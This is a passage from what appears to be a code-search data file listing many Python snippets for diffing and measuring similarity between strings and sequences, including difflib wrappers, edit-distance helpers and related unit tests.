check=check+1 \n if check==0: s1_filtered.append(l1.strip())\n for l2 in s2.splitlines(): \n if l2.__contains__(self.stdout_tag): \n check=0\n for k in s0_excluded: \n if l2.__contains__(k): check=check+1 \n if check==0: s2_filtered.append(l2.strip())\n # some debug: shows the lines which will be compared \n mm=''\n nTot=0\n nDif=0\n nMis=0\n for l in range(max(len(s1_filtered),len(s2_filtered))): \n nTot=nTot+1\n if ( l>len(s1_filtered)-1 ): # ref[l] exists but log[l] does not\n nMis=nMis+1\n if ( nMis<=5 ) : # print only the first 5 missing lines\n mm=mm+'\\n%5i'%l\n if ( nMis<5 ) :\n mm=mm+'-> log: ...MISSING('+repr(nMis)+')...'+'\\n' \n else:\n mm=mm+'-> log: ...MISSING(5)... SKIP THE REST'+'\\n' \n if(l<=len(s2_filtered)-1):\n mm=mm+' ref: '+s2_filtered[l]+'\\n'\n else:\n mm=mm+' ref: '+'\\n'\n elif( l>len(s2_filtered)-1 or # log[l] exists but ref[l] does not\n s1_filtered[l] != s2_filtered[l] ): # log[l] != ref[l]\n nDif=nDif+1\n mm=mm+'\\n%5i'%l\n mm=mm+'-> log: '+s1_filtered[l]+'\\n'\n if(l<=len(s2_filtered)-1):\n mm=mm+' ref: '+s2_filtered[l]+'\\n' \n else:\n mm=mm+' ref: '+'\\n' \n if(nDif>0 or nMis>0): mm=mm+'\\nSummary: '+repr(nDif)+' lines differ and '+repr(nMis)+' are missing out of '+repr(nTot)+' lines\\n'\n result[\"ExecTest.stdout_VS_expected_stdout\"] = result.Quote(mm)\n logger.debug('ExecTestBase2:__CompareTest1: '+mm) \n # Comparision of filtered sets \n # - filtered sets should have the same length: if this is not the \n # case the test will stop here \n if not(len(s1_filtered)==len(s2_filtered)): \n self.causes.append(' Different number of tagged lines to compare \\n'+\\\n 'in the stdout and ref_stdout')\n return False \n # Scan of the s1 and ref_s1=s2 looking for the '=' \n s1_filtered_equals=list()\n s2_filtered_equals=list() \n for i in range(len(s1_filtered)):\n if s1_filtered[i].__contains__('='):\n s1_filtered_equals.append(s1_filtered[i].replace(\\\n self.stdout_tag,'').strip())\n if s2_filtered[i].__contains__('='):\n s2_filtered_equals.append(s2_filtered[i].replace(\\\n self.stdout_tag,'').strip()) \n # - in case there is not '=' the strings have to be the same \n if(not(s1_filtered[i].__contains__('=')) and \n s2_filtered[i].__contains__('=')): return False \n if(not(s1_filtered[i].__contains__('=')) and \n not(s2_filtered[i].__contains__('=')) and \n not(s1_filtered[i]==s2_filtered[i])): return False \n\n # Analysis of lines with '='\n fail_cond=True \n logger.debug('ExecTestBase2:__CompareTest1: # lines with = is '+\\\n repr(len(s1_filtered_equals))) \n for i in range(len(s1_filtered_equals)):\n s1_split_list=s1_filtered_equals[i].split('=')\n s2_split_list=s2_filtered_equals[i].split('=')\n logger.debug('ExecTestBase2:__CompareTest1: right side of = for '+\\\n repr(i)+' are '+s1_split_list[1]+' '+s2_split_list[1])\n # - No local tolerance marked with '+-' in the s2\n if not(s2_split_list[1].__contains__('+-')):\n try: # integer and float to float\n s1_split_list_1=float(s1_split_list[1].strip())\n s2_split_list_1=float(s2_split_list[1].strip())\n # - comparison with global tolerance (if any) \n if(s1_split_list_1!=0.): \n if(not(s1_split_list[0]==s2_split_list[0]) or \n not((s1_split_list_1==s2_split_list_1) or \n ((s1_split_list_1<s2_split_list_1+\\\n s2_split_list_1*float(self.stdout_tol)/100) and \n (s1_split_list_1>s2_split_list_1-\n s2_split_list_1*float(self.stdout_tol)/100))) \n ): fail_cond=fail_cond and False \n else: # case = 0 \n if(not(s1_split_list[0]==s2_split_list[0]) or \n not((s1_split_list_1==s2_split_list_1) or \n ((s1_split_list_1<s2_split_list_1+\\\n float(self.stdout_tol)/100) and \n (s1_split_list_1>s2_split_list_1-\n float(self.stdout_tol)/100))) \n ): fail_cond=fail_cond and False \n logger.debug('ExecTestBase2:__CompareTest1: right side of = for '+\\\n repr(i)+' are '+repr(s1_split_list_1)+' '+\\\n repr(s2_split_list_1)+' with global tol (%) '+\\\n repr(self.stdout_tol)+' '+repr(fail_cond) )\n except: # strings\n s1_split_list[1]=s1_split_list[1].strip() \n s2_split_list[1]=s2_split_list[1].strip() \n logger.debug('ExecTestBase2:__CompareTest1: right side of = for '+\\\n repr(i)+' are '+s1_split_list[1]+' '+\\\n s2_split_list[1])\n if(not(s1_split_list[0]==s2_split_list[0]) or \n not(s1_split_list[1]==s2_split_list[1]) ): fail_cond=fail_cond and False \n else: \n # - comparison with local tolerance \n print 'mgallas, to be done local tolerance'\n return fail_cond\n\n for j in range(len(self.causes)):\n print 'mgallas causes '+causes[j]\n \n return True","def string_edit_dist(str1, str2):\n sm = edit_distance.SequenceMatcher(a=str1, b=str2)\n return sm.distance()","def show_diff(seqm):\n output= []\n for opcode, a0, a1, b0, b1 in seqm.get_opcodes():\n if opcode == 'equal':\n output.append(seqm.a[a0:a1])\n elif opcode == 'insert':\n output.append(\"{+\" + seqm.b[b0:b1] + \"+}\")\n elif opcode == 'delete':\n output.append(\"{-\" + seqm.a[a0:a1] + \"-}\")\n elif opcode == 'replace':\n output.append(\"<del>\" + seqm.a[a0:a1] + \"</del><ins>\" + seqm.b[b0:b1] + \"</ins>\")\n else:\n raise RuntimeError(\"unexpected opcode\")\n return ''.join(output)","def _unidiff_output(expected, actual):\n\n expected=expected.splitlines(1)\n actual=actual.splitlines(1)\n\n diff=difflib.unified_diff(expected, actual)\n\n return ''.join(diff)","def seqDiffs(my_seq):\n return ((m.start(0), m.group()) for m in re.finditer('[A-Z]|_+', my_seq))","def string_similarity(item_1, item_2):\n return SequenceMatcher(None, item_1.lower(), item_2.lower()).ratio()","def string_match_ratio(str1, str2):\n sm = edit_distance.SequenceMatcher(a=str1, b=str2)\n return sm.ratio()","def simple_baseline_similarity(s1, s2):\n # Tokenize by sentences into words in lower case \n tokenized_sentence_1 = nltk.word_tokenize(s1.lower())\n tokenized_sentence_2 = nltk.word_tokenize(s2.lower())\n\n tagged_sentence_1 = pos_tag(tokenized_sentence_1) # [ (word, POS_TAG), ...]\n tagged_sentence_2 = pos_tag(tokenized_sentence_2) # [ (word, POS_TAG), ...]\n \n lemmas_sentence_1 = [lemmatize(tagged_word, wnl) for tagged_word in tagged_sentence_1 if not tagged_word in stop_words] \n lemmas_sentence_2 = [lemmatize(tagged_word, wnl) for tagged_word in tagged_sentence_2 if not tagged_word in stop_words] # [LEMMA_1, ...]\n \n word_seq_match = difflib.SequenceMatcher(None, tokenized_sentence_1, tokenized_sentence_2)\n word_match = word_seq_match.find_longest_match(0, len(tokenized_sentence_1), 0, len(tokenized_sentence_2))\n\n lemm_seq_match = difflib.SequenceMatcher(None, lemmas_sentence_1, lemmas_sentence_2)\n lemm_match = lemm_seq_match.find_longest_match(0, len(lemmas_sentence_1), 0, len(lemmas_sentence_2))\n\n word_sim = word_match.size/(max(len(tokenized_sentence_1), len(tokenized_sentence_2)) + 0.001)\n lemm_sim = lemm_match.size/(max(len(lemmas_sentence_1), len(lemmas_sentence_2)) + 0.001)\n\n return word_sim, lemm_sim","def compare_str(seq1, seq2):\n if seq1 == seq2:\n return 1\n ld = Levenshtein.distance(seq1, seq2)\n longest = len(seq1 if len(seq1) > len(seq2) else seq2)\n return (longest - ld) / longest","def get_opcodes(old: str, new: str) -> List[Opcode]:\n diff = difflib.SequenceMatcher(a=old, b=new)\n return [Opcode(*opcode) for opcode in diff.get_opcodes()]","def compSeq(s1, s2, lineL=50):\n lineN = int(np.ceil(min(len(s1), len(s2))/lineL))\n count = 0\n samecount = 0\n outStr = ''\n for linei in range(lineN):\n if (linei+1) * lineL < min(len(s1), len(s2)):\n end = (linei+1) * lineL\n else:\n end = min(len(s1), len(s2))\n outStr += 'Pos %d - %d\\n' % (linei*lineL+1, end-1+1)\n for sitei in range(linei*lineL, end):\n outStr += s1[sitei]\n outStr += '\\n'\n for sitei in range(linei*lineL, end):\n out = ' ' if s1[sitei] == s2[sitei] else '|'\n outStr += out\n count += 1\n samecount += 1 if s1[sitei]==s2[sitei] else 0\n outStr += '\\n'\n for sitei in range(linei*lineL, end):\n out = '.' if s1[sitei] == s2[sitei] else s2[sitei]\n outStr += s2[sitei]\n outStr += '\\n\\n'\n outStr += 'Seq1 (%d) and Seq2 (%d) are %1.1f%% similar\\n\\n' % (len(s1), len(s2), 1e2*samecount/count)\n print(outStr)","def svn_diff_mem_string_diff4(*args):\n return _diff.svn_diff_mem_string_diff4(*args)","def annotate_diff(desc, stdout_e, stdout_a, stdout_e_strp, stdout_a_strp):\n id_str= \"%s_\" % desc\n result[id_str + \"stdout_expected\"] = stdout_e\n result[id_str + \"stdout_actual\"] = stdout_a\n result[id_str + \"stdout_expected_stripped\"]= stdout_e_strp\n result[id_str + \"stdout_actual_stripped\"] = stdout_a_strp\n result[id_str + \"stripped_diff\"] = '\\n'.join( difflib.ndiff( stdout_e_strp.splitlines(),\n stdout_a_strp.splitlines() ))\n result.fail(\"Expected standard output from %s does not match actual output.\" % desc)","def svn_diff_mem_string_diff(*args):\n return _diff.svn_diff_mem_string_diff(*args)","def mutate_tag_seq(words, seq1, seq2):\n if len(seq1) > len(words):\n return None\n seq_start = index_tag_seq(words, seq1)\n if seq_start > -1:\n pre = words[:seq_start]\n post = words[seq_start+len(seq1):]\n mutated = []\n for x in seq2:\n for j in range(len(seq1)): \n if x == words[seq_start+j].tag:\n mutated.append(words[seq_start+j])\n return pre + mutated + post\n return None","def test_mutate(self):\n\t\tself.string_a.mutate()\n\t\tself.string_b.mutate()\n\t\tself.assertNotEqual(\"a\", self.string_a.value)\n\t\tself.assertNotEqual(\"b\", self.string_b.value)","def WordDiff(line1, line2, diff_params):\n match_expr, min_match_ratio, min_match_size, _ = diff_params\n exp = EXPRS[match_expr]\n # Strings may have been left undecoded up to now. Assume UTF-8.\n line1 = TryDecode(line1)\n line2 = TryDecode(line2)\n\n a = re.findall(exp, line1, re.U)\n b = re.findall(exp, line2, re.U)\n s = difflib.SequenceMatcher(None, a, b)\n matching_blocks = s.get_matching_blocks()\n ratio = s.ratio()\n # Don't show intra region diffs if both lines are too different and there is\n # more than one block of difference. If there is only one change then we\n # still show the intra region diff regardless of how different the blocks\n # are.\n # Note: We compare len(matching_blocks) with 3 because one block of change\n # results in 2 matching blocks. We add the one special block and we get 3\n # matching blocks per one block of change.\n if ratio < min_match_ratio and len(matching_blocks) > 3:\n return ([(0, 0, 0)], ratio)\n # For now convert to character level blocks because we already have\n # the code to deal with folding across lines for character blocks.\n # Create arrays lena an lenb which have cumulative word lengths\n # corresponding to word positions in a and b\n lena = []\n last = 0\n for w in a:\n lena.append(last)\n last += len(w)\n lenb = []\n last = 0\n for w in b:\n lenb.append(last)\n last += len(w)\n lena.append(len(line1))\n lenb.append(len(line2))\n # Convert to character blocks\n blocks = []\n for s1, s2, blen in matching_blocks[:-1]:\n apos = lena[s1]\n bpos = lenb[s2]\n block_len = lena[s1+blen] - apos\n blocks.append((apos, bpos, block_len))\n # Recreate the special block.\n blocks.append((len(line1), len(line2), 0))\n # Filter any matching blocks which are smaller than the desired threshold.\n # We don't remove matching blocks with only a newline character as doing so\n # results in showing the matching newline character as non matching which\n # doesn't look good.\n blocks = FilterBlocks(blocks, lambda b: (b[2] >= min_match_size or\n line1[b[0]:b[0]+b[2]] == '\\n'))\n return (blocks, ratio)","def test_stringRepresentationWithInversion(self):\n inputs = [\n imap4.parseIdList(b'2:3'),\n imap4.parseIdList(b'3:2'),\n ]\n\n outputs = [\n \"2:3\",\n \"2:3\",\n ]\n\n for i, o in zip(inputs, outputs):\n self.assertEqual(str(i), o)","def compare_texts(text1, text2):\n return compare_vectors(vectorize_text(text1), vectorize_text(text2))","def getmutdiff(newstring):\n\n global refmutations\n listold, listnew, difference = list(refmutations), list(newstring), []\n for _ in range(len(listold)):\n difference.append(\n (int(listold[_]) ^ int(\n listnew[_]))) # xor both strings position for position and append result to output list\n return difference","def get_diff(text_1, text_2):\n\n return str(round(SequenceMatcher(None, text_1, text_2).ratio()*100, 2)) + '%'","def svn_diff_mem_string_output_unified(*args):\n return _diff.svn_diff_mem_string_output_unified(*args)","def _print_first_difference(\n arec, brec, ignore_case=False, ignore_N=False, report_match=True\n):\n aseq, bseq = arec.seq, brec.seq\n asize, bsize = len(aseq), len(bseq)\n\n matched = True\n for i, (a, b) in enumerate(zip_longest(aseq, bseq)):\n if ignore_case and None not in (a, b):\n a, b = a.upper(), b.upper()\n\n if ignore_N and (\"N\" in (a, b) or \"X\" in (a, b)):\n continue\n\n if a != b:\n matched = False\n break\n\n if i + 1 == asize and matched:\n if report_match:\n printf(\"[green]Two sequences match\")\n match = True\n else:\n printf(\"[red]Two sequences do not match\")\n\n snippet_size = 20 # show the context of the difference\n\n printf(\"[red]Sequence start to differ at position {}:\".format(i + 1))\n\n begin = max(i - snippet_size, 0)\n aend = min(i + snippet_size, asize)\n bend = min(i + snippet_size, bsize)\n\n printf(\"[red]{}|{}\".format(aseq[begin:i], aseq[i:aend]))\n printf(\"[red]{}|{}\".format(bseq[begin:i], bseq[i:bend]))\n match = False\n\n return match","def unified_diff(expected_text, actual_text, expected_filename,\n actual_filename):\n # The filenames show up in the diff output, make sure they're\n # raw bytes and not unicode, so that they don't trigger join()\n # trying to decode the input.\n if six.PY2:\n expected_filename = six.ensure_binary(expected_filename)\n actual_filename = six.ensure_binary(actual_filename)\n\n diff = difflib.unified_diff(expected_text.splitlines(True),\n actual_text.splitlines(True),\n expected_filename, actual_filename)\n return ''.join(_diff_fixup(diff))","def svn_diff_mem_string_output_unified2(*args):\n return _diff.svn_diff_mem_string_output_unified2(*args)","def compare_strings(string1: str, string2: str) -> float:\n return SequenceMatcher(None, string1, string2).ratio()","def test_substitutions_in_word(self):\n m = strutils.MultiReplace({r'cat': 'kedi', r'purple': 'mor', })\n self.assertEqual(m.sub('Thecatispurple'), 'Thekediismor')","def compare(text1, text2):\n diff = difflib.ndiff(text1.splitlines(True), text2.splitlines(True))\n return '\\n' + '\\n'.join(diff)","def test_string_filter(mutation_sequence_with_set_descriptions):\n string_filter = StringFilter(string_to_match=\"SUPER SHOP\")\n assert len(string_filter.apply(mutation_sequence_with_set_descriptions)) == 2","def difference_finder(str1, str2):\n\n # handle the case where one string is longer than the other\n maxlen = len(str2) if len(str1) < len(str2) else len(str1)\n result1, result2 = '', ''\n\n # loop through the characters\n for i in range(maxlen):\n # use a slice rather than index in case one string longer than other\n letter1 = str1[i:i + 1]\n letter2 = str2[i:i + 1]\n # create string with differences\n if letter1 != letter2:\n result1 += letter1\n result2 += letter2\n # print out result\n print(\"First difference character :\", result1)","def test_simple_substitutions(self):\n m = strutils.MultiReplace({r'cat': 'kedi', r'purple': 'mor', })\n self.assertEqual(m.sub('The cat is purple'), 'The kedi is mor')","def string_difference(str1, str2):\n\n assert len(str1) == len(str2)\n return sum(a != b for a, b in zip(str1,str2))","def compare(mem1, mem2, name1, name2, output=sys.stdout, show_equal=True, granularity=1):\n\n addresses1, stream1 = make_stream(mem1, granularity=granularity)\n addresses2, stream2 = make_stream(mem2, granularity=granularity)\n\n s = difflib.SequenceMatcher(lambda x: x is None, stream1, stream2, autojunk=False)\n #~ sys.stderr.write('similarity [0...1]: {:.2f}\\n'.format(s.ratio())) # XXX if verbose\n equal = True\n for opcode, i1, i2, j1, j2 in s.get_opcodes():\n #~ print \"=== %6s a[%d:%d] b[%d:%d]\" % (opcode, i1, i2, j1, j2)\n if opcode == 'equal':\n if addresses1[i1] != addresses2[j1]:\n equal = False\n if show_equal:\n hexdump(' ', addresses1[i1:i2], addresses2[j1:j2], stream1[i1:i2], output)\n else:\n # XXX search for address jumps in the blocks just like hexdump does\n output.write('= {:08x} {:08x}: {} bytes identical{}\\n'.format(\n addresses1[i1],\n addresses2[j1],\n (i2 - i1) * granularity,\n ' at different addresses' if addresses1[i1] != addresses2[j1] else ''))\n elif opcode == 'insert':\n hexdump('+', None, addresses2[j1:j2], stream2[j1:j2], output)\n equal = False\n elif opcode == 'replace':\n #~ output.write('\\n')\n hexdump('<', addresses1[i1:i2], None, stream1[i1:i2], output)\n #~ sys.stdout.write('--- is replaced with\\n')\n hexdump('>', None, addresses2[j1:j2], stream2[j1:j2], output)\n #~ output.write('\\n')\n equal = False\n elif opcode == 'delete':\n hexdump('-', addresses1[i1:i2], None, stream1[i1:i2], output)\n equal = False\n\n if equal:\n output.write(\"files are identical\\n\")\n return True\n else:\n return False","def similar(a, b):\n return SequenceMatcher(None, a, b).ratio()","def similar(a, b):\n return SequenceMatcher(None, a, b).ratio()","def _match(a, b):\n return SequenceMatcher(None, a, b).ratio()","def edit_distance(str1, str2, reconstruct_answer=False, method=alignments.Levinshtein(),\n swap_case_on_mismatch=True):\n method = alignments.Levinshtein() if method is None else method\n return align(str1, str2, reconstruct_answer, method, swap_case_on_mismatch)","def Compare_Tokenization(ref_sentences, test_sentences, **kwargs):\n output_path = kwargs.get(\"output_path\", os.environ[\"PWD\"])\n\n with open(f\"{output_path}/tok_diff.txt\", \"w\") as ft:\n for ref_sent, test_sent in zip(ref_sentences, test_sentences):\n new_ref = []\n new_test = []\n for token_ref in ref_sent:\n token_ref = token_ref.lower()\n if token_ref[0] == \"[\" and token_ref[-1] == \"]\":\n token_ref = token_ref[1:-1]\n new_ref.append(token_ref)\n for token_test in test_sent:\n token_test = token_test.lower()\n if token_test[0] == \"[\" and token_test[-1] == \"]\":\n token_test = token_test[1:-1]\n new_test.append(token_test)\n if new_ref != new_test:\n set_ref = set(new_ref)\n set_test = set(new_test)\n ft.write(\"Sentence Differs:\\n{}\\nin tokens:{}<--->{}\\n\".format(\" \".join(ref_sent), sorted(list(set_ref - set_test)), sorted(list(set_test - set_ref))))","def compare_seq_ids(id1, id2):\n split1 = id1.split(' ')\n split2 = id2.split(' ')\n if len(split1) != 2:\n raise ValueError('id1 does not contain exactly one space.')\n if len(split2) != 2:\n raise ValueError('id2 does not contain exactly one space.')\n l1, r1 = split1\n l2, r2 = split2\n match = l1 == l2\n prefix = l1 if match else None\n return match, prefix","def test_snippet_2(self):\n\n text = \"Jon is a carpenter and an engineer\"\n drs = Drs.create_from_natural_language(text)\n expected_drs = Drs.create_from_predicates_string(\"\"\"\n {'word': 'is', 'tag': 'v', 'compound': 'is', 'entity': '', 'lemma': 'be', 'gender_guess': None, 'is_head_token': True, 'refers_to': None, 'negated': 'false'}(v1), {'word': 'Jon', 'tag': 'n', 'compound': 'Jon', 'entity': 'PERSON', 'lemma': 'Jon', 'gender_guess': 'm', 'is_head_token': False, 'refers_to': None, 'negated': 'false'}(v0), {'word': 'carpenter', 'tag': 'n', 'compound': 'carpenter', 'entity': '', 'lemma': 'carpenter', 'gender_guess': None, 'is_head_token': False, 'refers_to': None, 'negated': 'false'}(v3), {'word': 'engineer', 'tag': 'n', 'compound': 'engineer', 'entity': '', 'lemma': 'engineer', 'gender_guess': None, 'is_head_token': False, 'refers_to': None, 'negated': 'false'}(v6), {'type': 'AGENT'}(v1,v0), {'type': 'ATTR'}(v1,v6), {'type': 'ATTR'}(v1,v3), {'type': 'ATTR'}(v1,v6)\n \"\"\")\n lst = drs.apply(DrsMatcher(expected_drs, metric))\n is_match = len(lst) > 1\n self.assertTrue(is_match)","def testSeqMatch(self): # - - - - - - - - - - - - - - - - - - - - - - - - -\n\n for pair in self.string_pairs:\n\n approx_str_value = stringcmp.seqmatch(pair[0],pair[1])\n\n assert (isinstance(approx_str_value,float)), \\\n '\"SeqMatch\" does not return a floating point number for: '+ \\\n str(pair)\n\n assert (approx_str_value >= 0.0), \\\n '\"SeqMatch\" returns a negative number for: '+str(pair)\n\n assert (approx_str_value <= 1.0), \\\n '\"SeqMatch\" returns a number larger than 1.0 for: '+str(pair)\n\n approx_str_value_1 = stringcmp.seqmatch(pair[0],pair[1])\n approx_str_value_2 = stringcmp.seqmatch(pair[1],pair[0])\n\n assert (approx_str_value_1 == approx_str_value_2), \\\n '\"SeqMatch\" returns different values for pair and swapped ' + \\\n 'pair: '+str(pair)+': '+str(approx_str_value_1)+', '+ \\\n str(approx_str_value_2)\n\n # Check for value 1.0 if the strings are the same\n #\n if (pair[0] == pair[1]):\n\n assert (approx_str_value == 1.0), \\\n '\"SeqMatch\" does not return 1.0 if strings are equal: '+ \\\n str(pair)","def line_edits(s1, s2):\n l1 = s1.splitlines()\n l2 = s2.splitlines()\n \n result = editDistance(l1, l2)\n \n result = result[::-1]\n \n return result","def svn_diff_mem_string_diff3(*args):\n return _diff.svn_diff_mem_string_diff3(*args)","def diff(args):\n from jcvi.utils.table import banner\n\n p = OptionParser(diff.__doc__)\n p.add_option(\n \"--ignore_case\",\n default=False,\n action=\"store_true\",\n help=\"ignore case when comparing sequences\",\n )\n p.add_option(\n \"--ignore_N\",\n default=False,\n action=\"store_true\",\n help=\"ignore N and X's when comparing sequences\",\n )\n p.add_option(\n \"--ignore_stop\",\n default=False,\n action=\"store_true\",\n help=\"ignore stop codon when comparing sequences\",\n )\n p.add_option(\n \"--rc\",\n default=False,\n action=\"store_true\",\n help=\"also consider reverse complement\",\n )\n p.add_option(\n \"--quiet\",\n default=False,\n action=\"store_true\",\n help=\"don't output comparison details\",\n )\n\n opts, args = p.parse_args(args)\n\n if len(args) != 2:\n sys.exit(not p.print_help())\n\n afasta, bfasta = args\n\n afastan = len(Fasta(afasta))\n bfastan = len(Fasta(bfasta))\n\n if afastan == bfastan:\n printf(\n \"[green]Two sets contain the same number of sequences ({}, {})\".format(\n afastan, bfastan\n )\n )\n else:\n printf(\n \"[red]Two sets contain different number of sequences ({}, {})\".format(\n afastan, bfastan\n )\n )\n\n ah = SeqIO.parse(afasta, \"fasta\")\n bh = SeqIO.parse(bfasta, \"fasta\")\n\n problem_ids = []\n for arec, brec in zip(ah, bh):\n\n if opts.ignore_stop:\n arec.seq = arec.seq.rstrip(\"*\")\n brec.seq = brec.seq.rstrip(\"*\")\n\n asize, bsize = len(arec), len(brec)\n\n if not opts.quiet:\n print(banner(str(arec), [str(brec)]))\n if asize == bsize:\n printf(\"[green]Two sequence size match ({})\".format(asize))\n else:\n printf(\n \"[red]Two sequence size do not match ({}, {}})\".format(asize, bsize)\n )\n\n # print out the first place the two sequences diff\n fd = print_first_difference(\n arec,\n brec,\n ignore_case=opts.ignore_case,\n ignore_N=opts.ignore_N,\n rc=opts.rc,\n report_match=not opts.quiet,\n )\n if not fd:\n logging.error(\"Two sets of sequences differ at `{0}`\".format(arec.id))\n problem_ids.append(\n \"\\t\".join(str(x) for x in (arec.id, asize, bsize, abs(asize - bsize)))\n )\n\n if problem_ids:\n print(\"A total of {0} records mismatch.\".format(len(problem_ids)))\n fw = must_open(\"Problems.ids\", \"w\")\n print(\"\\n\".join(problem_ids), file=fw)","def compare(self, p_str, p_str_1): # real signature unknown; restored from __doc__\n return 0","def get_diff(s1, s2):\n s1 = s1.splitlines(keepends=True)\n s2 = s2.splitlines(keepends=True)\n\n d = Differ()\n\n result = list(d.compare(s1, s2))\n\n lines = \"\"\n for l in result:\n if l.startswith(' '):\n continue\n elif len(l) < 3:\n continue\n # elif l.startswith('?'):\n # continue\n elif l.startswith(\"?\"):\n lines += '?' + ' ' + l[1:]\n else:\n lines += '\\n' + l\n\n return lines","def test_sequence_modify(self):\n self.t(\"1,2 modify +xyz\")\n code, out, err = self.t(\"_get 1.tags 2.tags\")\n self.assertEqual(\"xyz xyz\\n\", out)","def sm_longest_match(s1,s2):\n anslist=[]\n match = SM(None, s1, s2).find_longest_match(0, len(s1), 0, len(s2))\n match_pat = s1[match.a: match.a + match.size]\n while match.size > 1:\n anslist.append( (match_pat, match.a) )\n\n #replace match pattern from string\n s1=s1.replace(match_pat,'')\n s2 = s2.replace(match_pat, '')\n\n match = SM(None, s1, s2).find_longest_match(0, len(s1), 0, len(s2))\n\n match_pat = s1[match.a: match.a + match.size]\n\n return anslist","def levenshtein_normalised(str1, str2):\n\treturn levenshtein(str1, str2, normalise=True)","def cmplines(a, b):\n # we know that all lines that reach here have actions\n # make set actions first\n # depend actions last\n # rest in alpha order\n\n def typeord(a):\n if a.name == \"set\":\n return 1\n if a.name == \"depend\":\n return 3\n return 2\n c = cmp(typeord(a[0]) , typeord(b[0]))\n if c:\n return c\n c = cmp(a[0].name, b[0].name)\n if c:\n return c\n\n if a[0].name == \"set\" and a[0].attrs[\"name\"] == \"pkg.fmri\":\n return -1\n\n if b[0].name == \"set\" and b[0].attrs[\"name\"] == \"pkg.fmri\":\n return 1\n\n\n if a[0].name == \"set\" and a[0].attrs[\"name\"].startswith(\"pkg.\") and \\\n not b[0].attrs[\"name\"].startswith(\"pkg.\"):\n return -1\n\n if b[0].name == \"set\" and b[0].attrs[\"name\"].startswith(\"pkg.\") and \\\n not a[0].attrs[\"name\"].startswith(\"pkg.\"):\n return 1\n\n\n key_attr = a[0].key_attr\n if key_attr:\n c = cmp(a[0].attrs[key_attr], b[0].attrs[key_attr])\n if c:\n return c\n\n return cmp(str(a[0]), str(b[0]))","def test_madlib_substitution():\n actual = madlib(input_values)\n expected = output_text\n assert actual == expected","def call(str_a, str_b):\n if not sys.getsizeof(str_a) == sys.getsizeof(str_b):\n return False\n\n comp_a = [int(str_a_char) for str_a_char in bytes(str_a.encode('utf-8'))]\n\n res = 0\n for str_b_char in bytes(str_b.encode('utf-8')):\n res |= str_b_char ^ comp_a.pop(0)\n\n return res == 0","def generate_mutString(s):\r\n test_seq = Seq.MutableSeq(str(template))\r\n #Introduce the mutation in a test string\r\n for mut in s.split():\r\n pos = int(mut[1:-1]) - 1 #Numbering from 0 in strings \r\n old = mut[0]\r\n new = mut[-1]\r\n if old == test_seq[pos]:\r\n test_seq[pos] = new \r\n else:\r\n print('Initial mutation didnt match')\r\n \r\n return test_seq","def assertTextEq(self, a, b, msg=None):\n trans = str.maketrans({\n \" \": \"\",\n \"\\n\": \"\"\n })\n\n if isinstance(a, iAntlr4GramElem):\n a = a.toAntlr4()\n\n if isinstance(b, iAntlr4GramElem):\n b = b.toAntlr4()\n\n a = a.translate(trans)\n b = b.translate(trans)\n \n self.assertEqual(a, b, msg=msg)","def _compare_texts(self, text_a, text_b):\n\n text_ref_a = {\n 'author' : text_a['author'],\n 'language' : text_a['language'],\n 'work' : text_a['title']\n }\n text_ref_b = {\n 'author' : text_b['author'],\n 'language' : text_b['language'],\n 'work' : text_b['title']\n }\n\n print(\" -- comparing\", text_a['author'], text_a['title'], \"to\", text_b['author'], text_b['title'])\n\n # Instantiate new TextReuse with metadata about both texts being compared\n t = TextReuse(text_ref_a, text_ref_b, sanitize_input=True)\n\n # Create comparisons from both texts\n comparisons = t.compare_sliding_window(text_a['text'], text_b['text'])\n\n # Save the comparisons to the self.comparisons_dbname database\n self._save_comparisons(comparisons)\n\n return","def svn_diff_mem_string_output_merge(*args):\n return _diff.svn_diff_mem_string_output_merge(*args)","def test_syntax_converter_expand_search_patterns_conjoined(self):\n spi_search = \"find t bob and sam\"\n inv_search = \"title:bob and title:sam\"\n self._compare_searches(inv_search, spi_search)","def test_strings_common_symbols():\n\n common_result = strings_ops.strings_common_symbols(\"hi\", \"hello\")\n assert common_result == \"h\"","def do(s):\r\n return get_AA_subs(generate_mutString(s))","def __init__(self, source, target):\n self.nl = u\"<NL>\"\n self.delTag = u\"[-%s-]\"\n# self.delTag = u\"%s\"\n self.insTag = u\"{+%s+}\"\n# self.insTag = u\"%s\"\n self.source = source.replace(u\"\\n\", u\"\\n%s\" % self.nl).split()\n self.target = target.replace(u\"\\n\", u\"\\n%s\" % self.nl).split()\n self.deleteCount, self.insertCount, self.replaceCount = 0, 0, 0\n self.diffText = None\n self.cruncher = SequenceMatcher(None, self.source,\n self.target)\n self._buildDiff()","def sorted_checker(a: str, b: str):\n a_lines = a.splitlines()\n a_sorted = sorted(a_lines)\n a_string = \"\\n\".join(a_sorted)\n b_lines = b.splitlines()\n b_sorted = sorted(b_lines)\n b_string = \"\\n\".join(b_sorted)\n checker(a_string, b_string)","def svn_diff_mem_string_output_merge2(*args):\n return _diff.svn_diff_mem_string_output_merge2(*args)","def distance(str1, str2):\n return levenshtein.normalized_distance(str1, str2)","def matching(a, b):\n\tcomp = zip(a, b)\n\tdiff = abs(len(a)-len(b))\n\tm = sum(1 for x,y in comp if x == y)\n\treturn m - diff","def _pairwise_dist(self,seq1,seq2):\n \n return jf.damerau_levenshtein_distance(str(seq1), str(seq2))","def compare(self, other_sequence):\n response = []\n if self.name != other_sequence.name:\n response.append('DIFF: Sequence names: %s' % self.name)\n response.append('and %s' % other_sequence.name)\n if self.increment_by != other_sequence.increment_by:\n response.append('DIFF: Increment interval')\n response.append('is %d,' % self.increment_by)\n response.append('for %s' % other_sequence.name)\n response.append('it is %d' % other_sequence.increment_by)\n if self.min_value != other_sequence.min_value:\n response.append('DIFF: Min value is %d' % self.min_value)\n response.append(' for %s' % other_sequence.name)\n response.append('it is %d' % other_sequence.min_value)\n if self.max_value != other_sequence.max_value:\n response.append('DIFF: Max value is %d' % self.max_value)\n response.append(', for %s ' % other_sequence.name)\n response.append('it is %d' % other_sequence.max_value)\n # The only attribute we don't check is currval, becuase it will be \n # different in 999 cases out of a 1000\n return response","def string_num_matches(str1, str2):\n sm = edit_distance.SequenceMatcher(a=str1, b=str2)\n return sm.matches()","def compare_joined_tokens(sp_tokens, bpe_tokens):\n out = []\n for s, b in zip(sp_tokens, bpe_tokens):\n joined_bpe = functools.reduce(join_bpe, b, [])\n \n if s != joined_bpe:\n out.append((s, joined_bpe))\n \n return out","def test_transpose_words(self):\n before_b = \"\"\"\\\n first line\n before bar2 += foo after\n last line\n \"\"\"\n after_b = \"\"\"\\\n first line\n before foo += bar2 after\n last line\n \"\"\"\n self.run_test(\n before_b=before_b,\n after_b=after_b,\n 